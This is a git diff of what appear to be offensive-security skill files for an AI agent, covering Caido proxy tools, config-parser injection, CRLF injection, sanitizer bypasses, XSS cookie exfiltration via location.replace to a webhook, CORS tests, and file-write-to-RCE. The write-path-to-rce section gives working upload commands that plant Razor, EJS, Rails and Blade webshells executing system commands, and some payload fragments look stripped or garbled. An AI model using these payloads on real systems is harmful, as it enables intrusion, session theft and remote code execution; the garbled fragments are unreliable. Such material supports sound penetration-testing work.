request text +- `host`: target host +- `port`: target port (default 443) +- `tls`: use HTTPS (default true) + +### Fuzzing results +`mcp__caido__list_automate_sessions` -- list fuzzing sessions +`mcp__caido__get_automate_session` -- session details +`mcp__caido__get_automate_entry` -- fuzzing results with pagination + +### Findings +`mcp__caido__create_finding` -- document a security finding +- `requestId`: associated request ID +- `title`: finding title +- `description`: detailed description + +## Common Workflows + +### IDOR validation +``` +1. Search: mcp__caido__list_requests(httpql: 'req.path.cont:"/api/" AND req.method.eq:"GET"', limit: 50) +2. Inspect: mcp__caido__get_request(ids: [""], include: ["requestHeaders","requestBody","responseHeaders","responseBody"]) +3. Replay with modified ID: mcp__caido__send_request(raw: "", host: "target.com") +4. Document: mcp__caido__create_finding(requestId: "", title: "IDOR in /api/users/{id}") +``` + +### Fuzzing result triage +``` +1. mcp__caido__list_automate_sessions() +2. mcp__caido__get_automate_session(id: "") +3. mcp__caido__get_automate_entry(id: "", limit: 20) + Compare response sizes/codes for anomalies +``` + +## Troubleshooting + +| Error | Fix | +|---|---| +| `Invalid token` | Run `caido-mcp-server login` | +| `Connection refused` | Start Caido desktop app | +| `No such tool` | Check capability MCP config | + +```bash +lsof -i :8080 # Caido running? +which caido-mcp-server # Binary exists? +cat ~/.config/caido-mcp-server/token # Authenticated? +``` diff --git a/capabilities/web-security/skills/config-file-parsing-bugs/SKILL.md b/capabilities/web-security/skills/config-file-parsing-bugs/SKILL.md new file mode 100644 index 0000000..6d81fe6 --- /dev/null +++ b/capabilities/web-security/skills/config-file-parsing-bugs/SKILL.md @@ -0,0 +1,111 @@ +--- +name: config-file-parsing-bugs +description: "Exploit config file parser vulnerabilities: line length truncation, duplicate section overwrites, encoding differentials, and fgets()-based C parser bugs. Use when target processes INI/YAML/TOML/properties files, PAM configs, syslog, or any fgets()-based config parser." +--- + +# Config File Parsing Bugs + +Config file parsers silently truncate, silently drop, and silently overwrite. When a security decision depends on parsed config, parser quirks become security bugs. + +## Attack Surface + +Config file parsers are vulnerable when: +1. **Attacker can inject content** into a config file (admin panel, API, SSRF, file write) +2. **Parser has quirks** that differ from what the consumer expects +3. **Security decisions** depend on parsed values + +## Techniques + +### 1. Line Length Truncation + +C-based parsers using `fgets()` read a fixed number of bytes per line. Excess bytes remain in the input buffer and are read by the NEXT `fgets()` call as a new line. + +**inih (C INI parser):** Default `INI_MAX_LINE = 200` bytes. + +```ini +[section] +key = AAAA...(195 bytes padding)...\nadmin = true + +; Parser sees: +; Line 1 (200 bytes): "key = AAAA...(truncated)" +; Line 2 (remainder): "admin = true" <-- parsed as legitimate entry +``` + +**PAM pam_group:** `PAM_GROUP_BUFLEN = 1000` bytes, same pattern. + +**BSD syslog (RFC 3164):** 1024-byte message limit. Pad to 1024, inject newline + fake log entry. + +**Detection in source code:** +```c +// VULNERABLE: fixed-size fgets with no overflow check +char line[200]; +while (fgets(line, sizeof(line), fp) != NULL) { + parse_line(line); +} +``` + +### 2. Duplicate Section/Key Overwrite + +| Parser | Behavior | +|--------|----------| +| Python `configparser` | Last section wins, last key wins | +| PHP `parse_ini_file()` | Last key wins within section | +| inih (C) | Last key wins | +| Java `Properties.load()` | Last key wins | +| TOML spec | Duplicate keys are errors (but some parsers silently accept) | +| YAML spec | Last key wins (undefined behavior per spec) | + +```ini +; Original: +[database] +host = secure-db.internal + +; Attacker appends: +[database] +host = attacker-db.evil.com +; Result: app connects to attacker-db.evil.com +``` + +### 3. PHP parse_ini_file() Quirks + +```ini +; INI_SCANNER_NORMAL treats unquoted ; as comment start +password = s3cret;drop_this +; Parsed value: "s3cret" (everything after ; silently dropped) +``` + +`INI_SCANNER_NORMAL` interprets `true/false/null/none` as types -- potential type juggling if app uses loose comparison. + +### 4. Whitespace and Encoding Differentials + +**Line endings:** `\r\n` vs `\n` -- Linux parser may include `\r` in the value. + +**Unicode whitespace:** U+00A0 (non-breaking space), U+200B (zero-width space) -- some parsers treat as part of the value, others as whitespace. + +**YAML tabs:** YAML forbids tabs for indentation but some parsers accept them. Tab width differences can change nesting level. + +### 5. Environment Variable Interpolation + +```ini +; systemd: Environment="SECRET=%H-secret" ; %H expands to hostname +; Docker .env: DB_URL=postgres://${DB_HOST}:5432/app +; Shell: source /etc/default/myapp +``` + +If you can set an environment variable (via SSRF to cloud metadata, another injection), the expanded value in config may differ from what was validated. + +## Detection Checklist + +1. Identify all config file parsers in the codebase +2. Determine buffer sizes for C-based parsers (`grep -r 'fgets\|MAX_LINE\|BUF.*LEN'`) +3. Check if overlong line errors are handled or silently ignored +4. Test duplicate section/key behavior empirically +5. Identify injection vectors: can attacker influence config file content? +6. Verify: does a security decision depend on a parsed config value? + +## Related Skills + +- **parser-differential-bypass** -- Parsing differentials between processing layers +- **insecure-defaults** -- When config defaults are insecure +- **write-path-to-rce** -- When config injection enables arbitrary file write +- **apache-confusion-attacks** -- Apache httpd config parsing ambiguities diff --git a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md index 948db71..f4395fe 100644 --- a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md +++ b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md @@ -59,10 +59,16 @@ If you can inject only one CRLF and not split the body, useful follow-on headers - `Refresh: 0;url=https://attacker.example` - cache-control mutations for poisoning -## Indicators -- Header reflection preserves CRLF characters -- `%0d%0a` behaves differently from `%0a` -- CSP blocks inline payloads but allows same-origin scripts +## Detection +```bash +# Test for CRLF injection in headers +curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected" + +# Compare %0d%0a vs %0a behavior +curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected" +``` + +**Checkpoint:** If `X-Injected` appears in response headers with `%0d%0a` but not with `%0a` alone, CRLF injection is confirmed. Check CSP with `curl -sD- URL | rg -i "content-security-policy"` to determine if nested splitting is needed. ## Chain With - `web-cache-deception-path` diff --git a/capabilities/web-security/skills/custom-sanitizer-audit/SKILL.md b/capabilities/web-security/skills/custom-sanitizer-audit/SKILL.md new file mode 100644 index 0000000..089bf5d --- /dev/null +++ b/capabilities/web-security/skills/custom-sanitizer-audit/SKILL.md @@ -0,0 +1,127 @@ +--- +name: custom-sanitizer-audit +description: "Audit custom sanitization functions for bypass vulnerabilities using the Five-Point Checklist and ordering analysis. Use when encountering homegrown sanitize/filter/clean/escape functions, reviewing input validation, or testing custom security wrappers." +--- + +# Custom Sanitizer Audit + +Every homegrown security function is a bypass waiting to be found. Framework-provided sanitizers have years of adversarial testing; custom ones have the developer's imagination as their ceiling. + +## The Five-Point Checklist + +Every custom sanitizer MUST be evaluated against all five points. A failure on ANY single point is a bypass. + +### 1. Case-Insensitive? + +```php +// BYPASSABLE: strpos() not stripos() +if (strpos($input, 'SELECT') !== false) { block(); } +// Bypass: select, SeLeCt + +// SECURE: stripos() +if (stripos($input, 'SELECT') !== false) { block(); } +``` + +### 2. Global Replacement? + +```javascript +// BYPASSABLE: first match only +input.replace("../", "") +// Input: "....//etc/passwd" → "../etc/passwd" + +// SECURE: global flag +input.replace(/\.\.\//g, "") +``` + +### 3. Recursive? + +After one pass of removal, does the remaining string reconstitute the blocked pattern? + +``` +Input: t>alert(1)t> +Pass 1: inner ← XSS +``` + +**Test:** Nest the blocked string inside itself. If the sanitizer runs once, the outer halves collapse into the blocked string. + +### 4. Complete? + +Does the blocklist cover all dangerous variants? + +```javascript +// BYPASSABLE: blocks +``` + +**Example 3: Path traversal via non-recursive replace** +``` +Sanitizer: path.replace('../', '') +Payload: ....//....//etc/passwd +Flow: first ../ removed from each group → ../../etc/passwd +``` diff --git a/capabilities/web-security/skills/custom-sanitizer-audit/references/ordering-bugs.md b/capabilities/web-security/skills/custom-sanitizer-audit/references/ordering-bugs.md new file mode 100644 index 0000000..cd468b0 --- /dev/null +++ b/capabilities/web-security/skills/custom-sanitizer-audit/references/ordering-bugs.md @@ -0,0 +1,81 @@ +# Ordering Bugs: Validate-Then-Transform + +## Sanitize-Then-Decode (Most Common) + +```php +// VULNERABLE: sanitize runs on encoded input, decode undoes it +$input = strip_tags($user_input); // strips ` closes an inline script tag, the browser's HTML parser takes over. If the payload lands in a JSON string value: + +```html +","role":"admin"}}; +``` + +The `onerror=HANDLER` is an **unquoted HTML attribute**. These characters terminate unquoted attribute values: `=`, `"`, `'`, space, `<`, `>`, backtick. + +### What's eliminated + +`eval('code')`, `atob("base64")`, `fetch('/path')`, `new XMLHttpRequest()`, `var x = 1`, `x = document.cookie` -- all contain forbidden characters. + +### What still works + +`alert(document.domain)`, `location.replace(URL)`, `String.fromCharCode(N,N,N)`, nested calls like `X(Y(Z))`, concatenation with `+`. + +## The Exfiltration Technique + +### Pattern: `location.replace(String.fromCharCode(...)+document.cookie)` + +``` + +``` + +**Why this works:** +1. `location.replace()` -- navigates the page (method call, no `=`) +2. `String.fromCharCode(104,116,116,112,...)` -- builds URL without quotes +3. `+document.cookie` -- concatenates readable cookies +4. Navigation is NOT governed by CSP `connect-src` +5. No WAF trigger patterns present + +### Building the payload + +```python +callback = "https://YOUR-WEBHOOK.example.com/callback?c=" +char_codes = ",".join(str(ord(c)) for c in callback) + +payload = f"" + +# Verify no forbidden chars in onerror value +onerror = payload.split("onerror=")[1].rstrip(">") +forbidden = [c for c in onerror if c in ' "\'=<>`'] +assert not forbidden, f"Forbidden chars: {forbidden}" +``` + +### Payload variants + +**Exfil URL/path:** `onerror=location.replace(String.fromCharCode(...)+location.href)` + +**Exfil localStorage:** `onerror=location.replace(String.fromCharCode(...)+localStorage.getItem(String.fromCharCode(107,101,121)))` + +## Identifying Injection Targets + +Server-rendered HTML containing user-controlled data inside `` is escaped (`\u003c/script>` or `</script>`) +4. If NOT escaped, inject `` +5. If alert fires, use `String.fromCharCode` exfil technique + +## WAF Bypass Summary + +| Payload pattern | Verdict | Why | +|-----------------|---------|-----| +| `` | BLOCKED | ` -``` +| CWE | Name | Test Strategy | +|-----|------|---------------| +| CWE-639 | IDOR | Two accounts, cross-access resources | +| CWE-862 | Missing Authorization | Access without token/session | +| CWE-863 | Incorrect Authorization | Vertical/horizontal privilege escalation | +| CWE-22 | Path Traversal | `../` sequences to escape directory | -### Server-Side Request Forgery (CWE-918) +### SSRF (CWE-918) | Pattern | Test | Impact | |---------|------|--------| | URL parameter | `url=http://127.0.0.1` | Internal network access | -| Webhook URL | Register callback to internal IP | Internal service interaction | -| File import | Import from `file:///etc/passwd` | Local file read | -| PDF/Image generation | Embed internal URL in content | Blind SSRF via render | - -**Detection signals**: Parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src` in query strings or request bodies. - -### Authentication/Session (OWASP A07:2021) +| Webhook URL | Callback to internal IP | Internal service interaction | +| PDF/Image generation | Embed internal URL | Blind SSRF via render | -| CWE | Name | Test | -|-----|------|------| -| CWE-287 | Improper Authentication | Bypass login without valid credentials | -| CWE-384 | Session Fixation | Force known session ID on victim | -| CWE-613 | Insufficient Session Expiration | Check token lifetime, no logout invalidation | -| CWE-798 | Hardcoded Credentials | Scan source for API keys, passwords | -| CWE-307 | Brute Force | Unlimited login attempts without lockout | +Detection: parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src`. -**Detection signals**: Leaked secrets (JWT, API keys, tokens) in JS source or responses; auth-related endpoints (`/login`, `/auth`, `/token`, `/session`). +### CORS Misconfiguration (CWE-942) -### Cryptographic Failures (OWASP A02:2021) - -| CWE | Name | Signal | -|-----|------|--------| -| CWE-327 | Broken Crypto Algorithm | MD5, SHA1 for passwords, DES encryption | -| CWE-328 | Reversible One-Way Hash | Weak hash without salt | -| CWE-330 | Insufficient Randomness | Math.random() for tokens, sequential IDs | -| CWE-311 | Missing Encryption | Sensitive data over HTTP, plaintext storage | - -### Business Logic - -| Category | Pattern | Test | -|----------|---------|------| -| Race Condition | Concurrent state changes | Parallel requests to same endpoint | -| Price Manipulation | Client-side price calculation | Modify price in request body | -| Workflow Bypass | Multi-step process | Skip steps, replay earlier step | -| Privilege Escalation | Role-based features | Access admin features as regular user | - -### AI/LLM Specific (OWASP LLM Top 10) - -| Category | CWE Analog | Pattern | -|----------|-----------|---------| -| Prompt Injection | CWE-74 (injection) | User input reaches model context without sanitization | -| Insecure Output | CWE-79 (XSS) | Model output rendered as HTML/code without sanitization | -| Training Data Poisoning | CWE-502 (deserialization) | Malicious data in training/fine-tuning pipeline | -| Excessive Agency | CWE-269 (privilege) | Model has unrestricted tool access | -| System Prompt Leak | CWE-200 (info disclosure) | System instructions extractable via prompt manipulation | - -## Static Analysis Signal -> Vulnerability Mapping - -| Signal Pattern | Potential Vulnerability | Priority | -|---|---|---| -| `dangerouslySetInnerHTML` | DOM XSS (React) | High | -| `innerHTML` assignment | DOM XSS (vanilla JS) | High | -| `window.onmessage` / `addEventListener('message')` | postMessage XSS / cross-origin abuse | High | -| `location.href` / `window.location` assignment | Open redirect / javascript: XSS | Medium | -| `URLSearchParams` | Client-side parameter injection | Medium | -| Hardcoded JWT | Token reuse (test if valid) | High | -| Leaked API keys / tokens | Credential exposure | Critical | -| `__schema` / `__type` in requests | GraphQL introspection surface | Medium | -| API paths with numeric IDs | IDOR candidates | Medium | - -## Useful Grep Patterns for HTTP Traffic +```bash +# Test origin reflection +curl -s -H "Origin: https://attacker.com" "https://target.com/api/user" | grep -i "access-control" +# Test with credentials +curl -s -H "Origin: https://attacker.com" -H "Cookie: session=xyz" \ + "https://target.com/api/user" -v 2>&1 | grep -i "access-control" ``` -# IDOR candidates - endpoints with numeric IDs -/[a-z]+/[0-9]+(/|$) -# Potential file inclusion -(file|path|dir|folder|template|page|include)= +**Reporting standard:** Origin reflection alone is NOT sufficient. Must provide working JS PoC demonstrating credential theft or state-changing action. -# Potential SSRF -(url|uri|href|src|redirect|callback|proxy|fetch)= +## Grep Patterns for HTTP Traffic -# Auth tokens in URLs (should be in headers) -(token|key|api_key|apikey|secret|auth|session)= +```bash +# IDOR candidates +rg '/[a-z]+/[0-9]+(/|$)' http_requests/ -# Sensitive data in responses -(password|secret|private_key|api_key|token) +# Potential SSRF parameters +rg '(url|uri|href|src|redirect|callback|proxy|fetch)=' http_requests/ -# Error messages -(exception|traceback|stack trace|syntax error|SQLSTATE) +# Auth tokens in URLs (should be in headers) +rg '(token|key|api_key|secret|auth|session)=' http_requests/ -# Mass assignment candidates -PATCH or PUT requests with extra fields +# Error messages leaking info +rg '(exception|traceback|stack.trace|syntax.error|SQLSTATE)' http_requests/ ``` -## Usage +## Reference Files -This knowledge base is consulted during: -1. **vuln-critic** - To validate finding plausibility and map to CWE -2. **exploit-verifier** - To select appropriate verification procedures -3. Testing strategy guidance based on tech stack +- [testing-checklist.md](testing-checklist.md) -- Full testing checklist by category +- [analysis-strategies.md](analysis-strategies.md) -- Six analysis lenses (taint, trust boundary, business logic, config audit, race conditions, cross-context) diff --git a/capabilities/web-security/skills/write-path-to-rce/SKILL.md b/capabilities/web-security/skills/write-path-to-rce/SKILL.md index 2c62f49..18caa7e 100644 --- a/capabilities/web-security/skills/write-path-to-rce/SKILL.md +++ b/capabilities/web-security/skills/write-path-to-rce/SKILL.md @@ -1,57 +1,107 @@ --- name: write-path-to-rce -description: Escalate arbitrary file write into code execution by abusing framework view or template resolution. Use when you can write files but cannot execute script extensions directly, and the framework auto-loads templates or code from predictable search paths. +description: Escalate arbitrary file write into code execution -- plant malicious Jinja2/EJS/Razor/Blade templates, overwrite framework view files, inject auto-loaded helpers. Covers Django, Flask, Express, Rails, Laravel, ASP.NET MVC. Use when you have arbitrary write (path traversal, upload) but cannot execute script extensions directly, and the framework auto-loads templates or code from predictable search paths. --- # Arbitrary File Write -> RCE via View Engine Resolution ## Pattern -- You have arbitrary file write through path traversal, upload, report generation, or similar functionality +- You have arbitrary file write (path traversal, upload, report generation) - The web server blocks direct requests to executable extensions - The framework still resolves, compiles, or loads files internally from the filesystem -## Key Insight -HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access to that extension is blocked. +HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access is blocked. -## Framework Cheatsheet +## Workflow -### ASP.NET MVC (Razor) -Typical search paths include: -- `~/Views/{controller}/{action}.cshtml` -- `~/Views/Shared/{action}.cshtml` +### 1. Confirm arbitrary write +```bash +# Write a canary file to a known location +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@canary.txt;filename=../../../tmp/canary.txt" -Write a Razor payload into a reachable search path and trigger the matching controller or action. +# Verify write +curl -x localhost:8080 -k "https://target.com/tmp/canary.txt" +``` -### Ruby on Rails -Zeitwerk and wildcard routing can make controller or helper writes reachable when files land inside autoload paths such as: -- `app/controllers/` -- `app/models/` -- `app/helpers/` -- `lib/` +**Checkpoint:** If canary file is not written, the write primitive is not confirmed. Stop here. -### Express.js -If the application renders attacker-writable EJS or Pug templates from `views/`, template execution becomes server-side code execution. +### 2. Identify framework and map resolution paths -### Django and Flask -If the target uses Jinja2 or unsafe template rendering paths, attacker-writable templates can execute on render. +```bash +# Check response headers for framework hints +curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet" -### Laravel -Blade templates written into `resources/views/` become reachable through normal view resolution. +# Trigger a 404 to see error page (often reveals framework + view paths) +curl -x localhost:8080 -k "https://target.com/nonexistent_route_xyz" +``` -### Go -Go templates are usually more constrained. In Go applications, arbitrary write more often needs to chain into source replacement, build triggers, or unsafe helper functions rather than template execution alone. +### 3. Write payload to searched path -## Detection -- Error messages disclose view search paths -- ProcMon or `strace` shows framework file lookups during normal requests -- Writable application paths overlap with template, view, or autoload directories +#### ASP.NET MVC (Razor) +```bash +# View resolution: ~/Views/{controller}/{action}.cshtml, ~/Views/Shared/{action}.cshtml +# Write webshell to a view path +echo '@{ System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\inetpub\\wwwroot\\out.txt"); }' > payload.cshtml +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.cshtml;filename=../Views/Shared/Error.cshtml" +# Trigger: visit any URL that renders the Error view (e.g., cause a 500) +``` -## Validation Steps -1. Confirm arbitrary write by placing a canary file. -2. Map the framework's resolution order. -3. Write a payload into a searched path. -4. Trigger the code path that resolves or renders that file. -5. Confirm execution with a benign command, callback, or file creation. +#### Express.js (EJS/Pug) +```bash +# View resolution: views/{name}.ejs +echo '<%= process.mainModule.require("child_process").execSync("id").toString() %>' > payload.ejs +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.ejs;filename=../views/index.ejs" +# Trigger: visit the route that renders index view +``` + +#### Ruby on Rails +```bash +# Zeitwerk autoload paths: app/controllers/, app/models/, app/helpers/, lib/ +# Write a controller that executes on load +echo 'system("id > /tmp/pwned.txt")' > payload.rb +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.rb;filename=../../../app/helpers/exploit_helper.rb" +# Trigger: any request that loads helpers (most routes) +``` + +#### Laravel (Blade) +```bash +# View resolution: resources/views/{name}.blade.php +echo '{!! system("id") !!}' > payload.blade.php +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.blade.php;filename=../resources/views/welcome.blade.php" +# Trigger: visit / (default welcome route) +``` + +#### Django/Flask (Jinja2) +```bash +# Template dirs: templates/ +echo '{{ "".__class__.__mro__[1].__subclasses__() }}' > payload.html +# Use this to enumerate classes, then find os.popen or subprocess for RCE +``` + +### 4. Trigger resolution and verify execution +```bash +# Trigger the route that renders the overwritten template +curl -x localhost:8080 -k "https://target.com/target-route" + +# Verify execution via OOB callback or file creation +curl -x localhost:8080 -k "https://target.com/out.txt" +``` + +**Checkpoint:** Confirm execution with a benign command (whoami, id) or OOB callback. Do not proceed with destructive payloads until execution is confirmed. + +## Detection Signals +```bash +# Error messages disclosing view search paths +rg "ViewEngine|Could not find view|template not found" http_requests/ + +# Framework file lookups (if you have strace/procmon access) +strace -e trace=open,openat -p 2>&1 | grep -i "views\|templates" +``` ## Chain With - `apache-confusion-attacks`